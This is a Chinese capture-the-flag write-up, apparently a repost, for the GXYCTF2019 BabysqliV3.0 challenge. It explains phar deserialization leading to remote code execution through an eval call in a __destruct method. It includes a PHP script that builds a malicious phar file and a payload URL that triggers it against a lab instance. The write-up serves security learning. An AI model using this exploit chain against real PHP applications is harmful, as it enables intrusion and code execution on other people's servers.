[GXYCTF2019]BabysqliV3.0-phar反序列化正解
Posted hunpi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[GXYCTF2019]BabysqliV3.0-phar反序列化正解相关的知识,希望对你有一定的参考价值。
CSDN已经记录登录过程,弱口令登录,不再赘述。
phar反序列化漏洞利用条件
可以上传文件。可以执行命令的魔法函数。可以解析phar的函数,并且参数可控。
(1)upload.php可以上传文件。
(2)upload.php,具有执行命令的魔法函数。
class Uploader{
public $Filename;
public $cmd;
public $token;
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
(3)home.php,具有解析phar的require()函数,但是参数file
不可控。upload.php文件,$this->Filename = $_GET['name'];file_get_contents($uploader);
。Filename参数完全可控,如果传入phar://文件
,就会通过file_get_contents()进行反序列化操作,执行cmd。
确定可利用参数是upload.php文件的name。
构造payload文件
根据class和__destruct()构造phar文件:generate-phar.php
<?php
class Uploader {
public $Filename;
public $cmd;
public $token;
}
$o = new Uploader();
$o -> Filename = "test";
$o -> token = "GXYc893af63052665fd0e5b3bb39cbe1c00";
$o -> cmd='highlight_file("/var/www/html/flag.php");';
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
漏洞利用
(1)准备文件:上传phar文件到服务器。(需要构造session)
返回路径:/var/www/html/uploads/d41d8cd98f00b204e9800998ecf8427e/.txt
,可以访问以确定文件存在。
(2)通过可控参数name调用phar://phar.phar
文件,实现反序列化RCE。在upload.php中,调用file_get_contents()有前提条件if(isset($_FILES['file']))
。因此在调用参数时,需要上传一个文件通过if语句。
Payload:
http://9bd5537f-763f-49c1-83cb-ac03aeea4a81.node3.buuoj.cn/home.php?file=upload&name=phar:///var/www/html/uploads/2560507db2e4116d7e85053854639258/GXYc7669fdd11003a0c83cd68cc62f0dd14.txt
参考
攻击链:
file_get_contents()使$uploader对象通过__toString()返回$this->Filename,
由于phar://伪协议可以不依赖unserialize()直接进行反序列化操作,加之$this->Filename可控,
因此此处$this->Filename配合phar反序列化后,__destruct()方法内eval($this->cmd);最终导致了远程代码执行
《BUU CTF web(四)》-灰信网,
https://www.freesion.com/article/2410654149/
收获
理解了实战中的应用场景和步骤。梳理清楚攻击链的步骤,才能够有效利用!
(1)根据类、魔法函数构造phar文件,上传到服务器端,并且要知道相对路径/绝对路径。
(2)找到可控的参数,向参数传值phar://phar文件
,实现反序列化漏洞RCE。
通过phar://
调用.txt文件,也可以实现反序列化漏洞。
以上是关于[GXYCTF2019]BabysqliV3.0-phar反序列化正解的主要内容,如果未能解决你的问题,请参考以下文章